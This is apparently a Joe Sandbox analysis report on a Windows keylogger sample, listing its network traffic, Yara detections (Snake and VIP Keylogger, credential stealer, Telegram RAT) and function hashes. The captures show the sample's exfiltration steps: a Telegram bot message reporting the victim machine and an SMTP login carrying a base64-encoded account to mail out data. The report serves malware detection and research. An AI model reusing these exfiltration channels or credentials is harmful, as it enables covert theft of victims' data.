2024-11-07 14:19:41 UTC	142	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 Data Ascii: <Response><IP>173.254.250.79</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><Re
2024-11-07 14:19:41 UTC	217	IN	Data Raw: 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: gionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49717	188.114.96.3	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:43 UTC	63	OUT	GET /xml/173.254.250.79 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-07 14:19:43 UTC	1219	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:43 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: fdd7f0e5-0b37-4438-9eb6-2788ede66d38 x-amzn-trace-id: Root=1-672c4e16-227e3d4c4feb82610b3369a3;Parent=4d4ebb9aaed861d0;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 e73aa86faa59c17bd459a3caebc0cfc8.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: GuXHxM63mz9dt1GgVIHxkWDSADkIeBsHXzGet2rf2GSNv8Oox5KZ-w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 32361 Last-Modified: Thu, 07 Nov 2024 05:20:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZF9hn5CmWv7Zr410R4McFl3ns1irVUXnN4VIT%2F%2FTSsvVoexA5yAfPGfKEQrlJFa1zIDbowdbGROT%2Bde56OqaShP20sySVWIKodrr5ePB5bgQkoyjjedKDglw0zj7K%2F18RF2YhqEL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dedf5bd1875e94e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1992&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1430830&cwnd=251&unsent_bytes=0&cid=0f9c121cd21a6556&ts=226&x=0"
2024-11-07 14:19:43 UTC	150	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 Data Ascii: <Response><IP>173.254.250.79</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName
2024-11-07 14:19:43 UTC	209	IN	Data Raw: 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: >Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49722	188.114.96.3	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:45 UTC	63	OUT	GET /xml/173.254.250.79 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-07 14:19:46 UTC	1219	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:46 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: fdd7f0e5-0b37-4438-9eb6-2788ede66d38 x-amzn-trace-id: Root=1-672c4e16-227e3d4c4feb82610b3369a3;Parent=4d4ebb9aaed861d0;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 e73aa86faa59c17bd459a3caebc0cfc8.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: GuXHxM63mz9dt1GgVIHxkWDSADkIeBsHXzGet2rf2GSNv8Oox5KZ-w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 32364 Last-Modified: Thu, 07 Nov 2024 05:20:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JNkXzpNekCDQFw2I2PaP8x1%2FebSkimn9sqAAZkHuCx%2FlrkYqJsniJm2FqXvTODKNZd3lh%2BnHT95rwmPiyB%2BiR2mMpP5Q5Ru8UMBVhsu4GeH72viRjbO6tfNubQq3VKCvThiezDtd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dedf5cc9f7e6c37-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1161&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2362153&cwnd=230&unsent_bytes=0&cid=98c68ef282b4430e&ts=190&x=0"
2024-11-07 14:19:46 UTC	150	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 Data Ascii: <Response><IP>173.254.250.79</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName
2024-11-07 14:19:46 UTC	209	IN	Data Raw: 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: >Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49724	188.114.96.3	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:48 UTC	87	OUT	GET /xml/173.254.250.79 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-07 14:19:48 UTC	1223	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:48 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: fdd7f0e5-0b37-4438-9eb6-2788ede66d38 x-amzn-trace-id: Root=1-672c4e16-227e3d4c4feb82610b3369a3;Parent=4d4ebb9aaed861d0;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 e73aa86faa59c17bd459a3caebc0cfc8.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: GuXHxM63mz9dt1GgVIHxkWDSADkIeBsHXzGet2rf2GSNv8Oox5KZ-w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 32366 Last-Modified: Thu, 07 Nov 2024 05:20:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AkWgGN7qlnEtA9XojL3JzFKJ2ONlJ078Jxetto4%2FgdBAL9jNHvUFdmXh4k%2B994HUh9MnRQW3AuttHs3y7hfGPgvcVtEGWxy3VEymR%2B%2FOc%2FnJO%2FuWvUvkMjI54dd6mpG8uH0XAE6v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dedf5dd0fdd6b89-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1465&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2130978&cwnd=251&unsent_bytes=0&cid=04aeb016f79e9be5&ts=170&x=0"
2024-11-07 14:19:48 UTC	146	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e Data Ascii: <Response><IP>173.254.250.79</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><Region
2024-11-07 14:19:48 UTC	213	IN	Data Raw: 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: Name>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49726	188.114.96.3	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:50 UTC	87	OUT	GET /xml/173.254.250.79 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-07 14:19:51 UTC	1221	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:51 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: fdd7f0e5-0b37-4438-9eb6-2788ede66d38 x-amzn-trace-id: Root=1-672c4e16-227e3d4c4feb82610b3369a3;Parent=4d4ebb9aaed861d0;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 e73aa86faa59c17bd459a3caebc0cfc8.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: GuXHxM63mz9dt1GgVIHxkWDSADkIeBsHXzGet2rf2GSNv8Oox5KZ-w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 32369 Last-Modified: Thu, 07 Nov 2024 05:20:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yJcrnJMjjEDYub%2F1m0vTioX3f9ku9i%2FAy9VuwML9AFHHriPI%2FHlzBNY%2BOee93aQXGAscibxV%2FtgsvHRNtoWMSiLMezyHcf7UDvuIRC137SXRKY4v5Gq18c3s9ETQlWBlMNjXdN4l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dedf5ec0f7a4794-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1210&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1839898&cwnd=234&unsent_bytes=0&cid=cc30eb71d147a109&ts=147&x=0"
2024-11-07 14:19:51 UTC	148	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 Data Ascii: <Response><IP>173.254.250.79</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionNa
2024-11-07 14:19:51 UTC	211	IN	Data Raw: 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: me>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49727	149.154.167.220	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:52 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20and%20Time:%2008/11/2024%20/%2006:12:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20210979%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-07 14:19:52 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 07 Nov 2024 14:19:52 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-07 14:19:52 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 7, 2024 15:19:58.450747013 CET	587	49728	208.91.198.143	192.168.2.8	220 us2.outbound.mailhostbox.com ESMTP Postfix
Nov 7, 2024 15:19:58.450997114 CET	49728	587	192.168.2.8	208.91.198.143	EHLO 210979
Nov 7, 2024 15:19:58.635401011 CET	587	49728	208.91.198.143	192.168.2.8	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Nov 7, 2024 15:19:58.636321068 CET	49728	587	192.168.2.8	208.91.198.143	AUTH login c2VzaWxlYnJ1Y2VAZWxlbWFjdWFlLmNvbQ==
Nov 7, 2024 15:19:58.799144983 CET	587	49728	208.91.198.143	192.168.2.8	334 UGFzc3dvcmQ6
Nov 7, 2024 15:20:00.265482903 CET	587	49728	208.91.198.143	192.168.2.8	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Nov 7, 2024 15:20:00.265752077 CET	49728	587	192.168.2.8	208.91.198.143	MAIL FROM:<sesilebruce@elemacuae.com>
Nov 7, 2024 15:20:00.430349112 CET	587	49728	208.91.198.143	192.168.2.8	250 2.1.0 Ok
Nov 7, 2024 15:20:00.430538893 CET	49728	587	192.168.2.8	208.91.198.143	RCPT TO:<ilguerrii12@gmail.com>
Nov 7, 2024 15:20:00.609477043 CET	587	49728	208.91.198.143	192.168.2.8	554 5.7.1 <ilguerrii12@gmail.com>: Relay access denied

Target ID:	0
Start time:	09:19:26
Start date:	07/11/2024
Path:	C:\Users\user\Desktop\Lpjrd6Wxad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Lpjrd6Wxad.exe"
Imagebase:	0x850000
File size:	274'432 bytes
MD5 hash:	2BA023727B7A6399471D26A38F26695A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.4035317693.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	64.3%
Total number of Nodes:	14
Total number of Limit Nodes:	3

Executed Functions

Function 058247A8 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 05827B88

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: f4fedbbfcfe657bd42efaa58c2cdf9c9339486bc5124009ad5ca480186931e22
Instruction ID: ed14e4eaf898cc215ad7eb495778521c430732378682a28b8b02de8c12869047
Opcode Fuzzy Hash: f4fedbbfcfe657bd42efaa58c2cdf9c9339486bc5124009ad5ca480186931e22
Instruction Fuzzy Hash: FE73E631D1075A8EDB11EF68C954A99FBB1FF99310F11C69AE44877221EB70AAC4CF81

Function 058293F0 Relevance: 3.5, Strings: 1, Instructions: 2230COMMON

Download Yara Rule

Strings

K, xrefs: 0582BA6B

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 8582039cd3fef3df08a515c26d1d11289daf8410d144153b4974aae8565ec979
Instruction ID: 9724db2033c5ed9027b05b7df5f3d81ad7b1291b352dfb16d2f9a3e3c5b75166
Opcode Fuzzy Hash: 8582039cd3fef3df08a515c26d1d11289daf8410d144153b4974aae8565ec979
Instruction Fuzzy Hash: 9133D431D147198ADB11EF68C954A9DFBB1FF99300F11C69AE44CA7221EB70AAC5CF81

Function 05828AA8 Relevance: 2.0, APIs: 1, Instructions: 526
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13e31eec986d5a0e7b654d8a6c9e44c48624c82284f806f393dd665ab84212a
Instruction ID: 1ea0459842a8716a83b09f9b02876a10ce91c7e1c77e3aeb3b4ceecdb30f1774
Opcode Fuzzy Hash: e13e31eec986d5a0e7b654d8a6c9e44c48624c82284f806f393dd665ab84212a
Instruction Fuzzy Hash: 4C22F874E002288FDB14DFA9C984B9DBBB2BF84304F1481A9D849EB355DB359D86CF51

Function 058293E3 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

K, xrefs: 0582BA6B

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: ccf8e56fff8f72f21f90deb5e09e8f6d1f0c44526880e8af2a094523301395ef
Instruction ID: bcd869c1a559e3b6df878e6d62c1ff544dcd954a7a66d6a31afd9b715c677bde
Opcode Fuzzy Hash: ccf8e56fff8f72f21f90deb5e09e8f6d1f0c44526880e8af2a094523301395ef
Instruction Fuzzy Hash: C6B1E475D056198BDB14DFA9C8887DDBBB1FF89300F14C29AD408A7264EB74AAC5CF40

Function 010269A0 Relevance: .5, Instructions: 515COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4034890683.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3c1c49132a7e5bf79b9fe186af8a80ed684e4c84dd601950a89d7a66fe4c8ad
Instruction ID: 8bb43e9e1990068bd9bf9d6ecc849c9b6cf672633e85f25ba2f2afb6378cdcf7
Opcode Fuzzy Hash: f3c1c49132a7e5bf79b9fe186af8a80ed684e4c84dd601950a89d7a66fe4c8ad
Instruction Fuzzy Hash: 16127C70A002298FDB15DF69C894BAEBBF6BF88700F208559E846EB351DF359D45CB90

Function 01026FC8 Relevance: .5, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4034890683.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82c4b4280789194e393dda6b8e36c6f279179a00d790c6e1dcf899881e68096
Instruction ID: 9fe62b0f8b025bfcd44fb89dee9425fad39af430d1fafdbdb09a86733bd7334f
Opcode Fuzzy Hash: c82c4b4280789194e393dda6b8e36c6f279179a00d790c6e1dcf899881e68096
Instruction Fuzzy Hash: 70128030A00225DFCB55CF69C884AAEBBF2FF98300F6584A9E945EB261DB34DD45CB50

Function 01023E12 Relevance: .3, Instructions: 263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4034890683.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a22ebe34882a3387a6e83f7c6696a5d45886de3a3c7a01b00d8927ce72b739
Instruction ID: f5c17ba316014793168f61fd1d1e60b7d61cad5dd4f67e59501c5298fb47a662
Opcode Fuzzy Hash: c9a22ebe34882a3387a6e83f7c6696a5d45886de3a3c7a01b00d8927ce72b739
Instruction Fuzzy Hash: 7591C870B04219DFDB08AFB4D89427E77B3BFC9B00B158A6EE442E7294DE35D8069791

Function 0102C147 Relevance: .2, Instructions: 234
COMMON

Download Yara Rule

Control-flow Graph

Executed
